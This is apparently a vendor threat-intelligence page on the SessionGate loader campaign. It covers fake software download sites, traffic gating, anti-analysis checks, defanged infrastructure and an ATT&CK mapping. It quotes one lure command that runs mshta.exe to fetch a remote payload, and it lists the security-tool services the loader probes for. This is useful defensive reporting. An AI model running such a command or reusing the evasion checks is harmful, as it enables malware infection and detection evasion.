Skip to main content
Mallory
Back to malware
Malware

SessionGate

SessionGate is a previously unknown multi-stage loader characterized by heavy obfuscation and extensive anti-analysis mechanisms. It was observed in a large-scale campaign documented by Check Point Research in which more than 100 fake websites impersonated trusted software and security tools such as Ghidra, dnSpy, SpiderFoot, and ILSpy, then intercepted download clicks with CloudFront-hosted JavaScript and routed victims through a gated Traffic Distribution System (TDS). In the observed chains, SessionGate was used primarily to deliver potentially unwanted applications (PUA), though its final DLL stage functioned as a network-controlled installer or bundler framework that retrieved encrypted configuration from an external server, extracted a download URL, silently executed next-stage payloads via cmd.exe, and sent telemetry.

SessionGate delivery was tightly controlled. Landing pages included originaldownloads[.]info and getfluxfile[.]com, with oundhertobeconsist[.]org identified as a TDS redirector and javascriptapiusa[.]com as a payload validation domain. The infection sequence generated short-lived payload URLs bound to the client browser and IP address, and the final payload was described as unique per client. The initial downloaded file was a roughly 20 MB 7-Zip archive containing an executable of about 15 MB plus approximately 5 MB of obfuscated loader code. Researchers also observed multiple Amazon S3 buckets used between January and March 2026, including activeslatnascdngetrcv, globalhasigasnaledsftwre, marketstagofortdas, softmakreplnt, activemktsolution, and signedmarkeotk.

Its anti-analysis design included oversized functions, encrypted strings placed in code regions, bogus math, opaque predicates, anti-disassembly techniques, and server-side one-time-key delivery. The decryption key for the final payload stage was generated server-side and released only once per victim session; replaying the chain from a different IP returned a valid-looking but useless key. SessionGate could also pivot to a benign installer experience when gating conditions were not met, complicating sandbox analysis. The loader checked for analysis-related services including eelam, ehdrv, eamonm, epfwwfp, epfw, ekbdflt, edevmon, npf, npcap, and sysmondrv, and also inspected Windows Defender PUA settings and indicators of Windows Enterprise edition.

Additional observed infrastructure included C2-related domains appfreshstart[.]com, appgetonline[.]com, webinnosetup[.]com, appmakingcenter[.]com, yourfastcrc[.]com, mobileversioncrc[.]com, webcrcprove[.]com, and integritycrc[.]com. The second stage impersonated a legitimate 7-Zip SFX installer and contained the PDB path D:\code\cpp-downloader-scb-reg-other\Plugins\7ZipDownloader\Output\SFXWin.pdb. The installer framework referenced products such as PDF Spark, PDF Proton, PDF Ignite, PDF Skill, Document Sparkle, NibblrAI, and PCPooch, and defaulted to a hardcoded 7-Zip installer URL when backend configuration key 11 was absent. VirusTotal telemetry cited in the reporting associated roughly 2,000 to more than 5,000 submissions with the broader campaign, with SessionGate-related submissions notably observed from Turkey, Poland, Brazil, Germany, France, Russia, and the U.K.

Share:
For your environment

Hunt this family in your stack

Mallory pivots from this family to the IOCs, detections, and named campaigns that touch your stack, and pages you when something new lands.

MITRE ATT&CK

Techniques & procedures

18 distinct techniques documented for this family, organized by ATT&CK tactic.

Reconnaissance

1 technique
T1598.003Spearphishing LinkEvidence1

Attack chains specifically target users looking for such tools on search engines like Google, causing the bogus sites to be surfaced on top of the search results.

Initial Access

2 techniques
T1189Drive-by CompromiseEvidence3

The JavaScript loaded by these pages listens for the user’s first interaction and intercepts it before normal navigation can proceed. On Chrome it captures a mousedown event; on Firefox it uses a click event. It then generates a TDS runtime URL, redirects the user silently, and cancels the original navigation entirely.

T1566PhishingEvidence1

Hackers are creating convincing fake websites that impersonate popular security tools to trick users into downloading malware.

Execution

3 techniques
T1059.003Windows Command ShellEvidence1
TacticExecution

The final DLL payload is responsible for communicating with an external server, retrieving an encrypted configuration from the server, extracting the download URL from the configuration, and downloading and silently executing the next-stage malware via 'cmd.exe.'

T1059.007JavaScriptEvidence1
TacticExecution

The HTML page contains obfuscated JavaScript that performs a server-side validation step ... before allowing access to the payload.

T1204User ExecutionEvidence1
TacticExecution

The page that imitates a Cloudflare verification screen and instructs the user to run: C:\Windows\SysWOW64\mshta.exe https://185.0xA1.0xFB[.]58/navy.7z

Persistence

1 technique
T1205Traffic SignalingEvidence1

These pages load a CloudFront-hosted JavaScript staging layer that converts a click on a “download” button/link into a handoff to a Traffic Distribution System (TDS). The TDS enforces strict gating: first-visit state, mandatory click confirmation, anti-bot/anti-analysis logic, VPN/datacenter filtering, and frequency capping.

Stealth

7 techniques
T1027Obfuscated Files or InformationEvidence2
TacticStealth

SessionGate is a multi-stage loader with heavy obfuscation and one-time-key delivery that makes it extraordinarily difficult for analysts to examine.

T1036MasqueradingEvidence2
TacticStealth

Cybersecurity researchers have flagged a large-scale operation that impersonates open-source and freeware projects to funnel unsuspecting users through a Traffic Distribution System (TDS) and deliver malware families like Remus Stealer, AnimateClipper, and the SessionGate framework.

T1140Deobfuscate/Decode Files or InformationEvidence1
TacticStealth

The decryption key for the final payload stage is generated server-side and released only once per victim session. If a researcher tries to replay the chain from a different IP address, the server returns a valid-looking but useless key, making the payload completely unreadable.

T1205Traffic SignalingEvidence1

These pages load a CloudFront-hosted JavaScript staging layer that converts a click on a “download” button/link into a handoff to a Traffic Distribution System (TDS). The TDS enforces strict gating: first-visit state, mandatory click confirmation, anti-bot/anti-analysis logic, VPN/datacenter filtering, and frequency capping.

T1497Virtualization/Sandbox EvasionEvidence2

SessionGate , a previously unknown multi-stage, obfuscated loader that's used to deliver potentially unwanted applications (PUA) while incorporating extensive anti-analysis mechanisms to throw off sandboxes by pivoting to a benign installer experience.

T1497.001System ChecksEvidence1

The sample also runs multiple environment checks that influence whether it proceeds with malicious delivery or falls back to decoy behavior. The loader checks for the presence of certain services... enumerates running processes... checks system context such as Windows Defender PUA/PUS-related registry settings.

T1620Reflective Code LoadingEvidence1
TacticStealth

The modules are not written to disk: they are loaded via in-memory PE manual mapping (often referred to as reflective / manual-map loading), and execution is transferred through exported functions.

Discovery

5 techniques
T1012Query RegistryEvidence1
TacticDiscovery

Windows Defender PUA/PUS-related registry settings (e.g., PUAProtection, MpEnablePus)

T1057Process DiscoveryEvidence1
TacticDiscovery

In addition to services, the loader also enumerates running processes (Toolhelp-based scanning).

T1082System Information DiscoveryEvidence1
TacticDiscovery

Finally, the loader checks system context such as: Windows Defender PUA/PUS-related registry settings ... Windows “Enterprise” edition detection (by inspecting the ProductName string)

T1497Virtualization/Sandbox EvasionEvidence2

SessionGate , a previously unknown multi-stage, obfuscated loader that's used to deliver potentially unwanted applications (PUA) while incorporating extensive anti-analysis mechanisms to throw off sandboxes by pivoting to a benign installer experience.

T1497.001System ChecksEvidence1

The sample also runs multiple environment checks that influence whether it proceeds with malicious delivery or falls back to decoy behavior. The loader checks for the presence of certain services... enumerates running processes... checks system context such as Windows Defender PUA/PUS-related registry settings.

T1071.001Web ProtocolsEvidence1

The stealer polls the C2 using HTTP POST requests ... The malware uses HTTPS to communicate with the resolved C2 server. In the analyzed build, the observed logic includes periodic refresh check-ins

T1105Ingress Tool TransferEvidence2

These pages load a CloudFront-hosted JavaScript staging layer that converts a click on a 'download' button/link into a handoff to a Traffic Distribution System (TDS). The TDS enforces strict gating: first-visit state, mandatory click confirmation, anti-bot/anti-analysis logic, VPN/datacenter filtering, and frequency capping. | The final DLL payload is responsible for communicating with an external server, retrieving an encrypted configuration from the server, extracting the download URL from the configuration, and downloading and silently executing the next-stage malware via 'cmd.exe.'

T1205Traffic SignalingEvidence1

These pages load a CloudFront-hosted JavaScript staging layer that converts a click on a “download” button/link into a handoff to a Traffic Distribution System (TDS). The TDS enforces strict gating: first-visit state, mandatory click confirmation, anti-bot/anti-analysis logic, VPN/datacenter filtering, and frequency capping.

INDICATORS OF COMPROMISE

IOCs tracked for this family

34 indicators attributed across vendor reports, sandbox runs, and researcher write-ups. Full values are available in Mallory.

View more in app
Network
24 tracked

IPs, domains, and DNS infrastructure linked to this family.

Hashes
8 tracked

File hashes (MD5, SHA-1, SHA-256) from samples and reports.

Other
2 tracked

Other indicator types observed in public reporting.

TypeValueLatest sighting
domain●●●●●●●●●●●●View more in apptoday
domain●●●●●●●●●●●●View more in apptoday
domain●●●●●●●●●●●●View more in apptoday
domain●●●●●●●●●●●●View more in apptoday
domain●●●●●●●●●●●●View more in apptoday
domain●●●●●●●●●●●●View more in apptoday
What this page doesn’t show

The version that knows your environment.

This page is what’s public. Mallory adds the parts that aren’t: which of your assets match these IOCs, which detections are missing, which campaigns to expect next, and what to do in the next 30 minutes.
IOC matching34

Match every observed IP, domain, and hash against your live telemetry.

Threat actor attribution

Named campaigns wielding this family, with evidence pinned to each claim.

Exploited vulnerabilities

CVEs this family uses for access and lateral movement.

Detection signatures

YARA, Sigma, Snort, and vendor rules, auto-deployed to your SIEM.

MITRE ATT&CK mapping18

Every documented technique, ranked by evidence weight.

Researcher chatter

Reddit, Mastodon, and CTI community discussion around this family.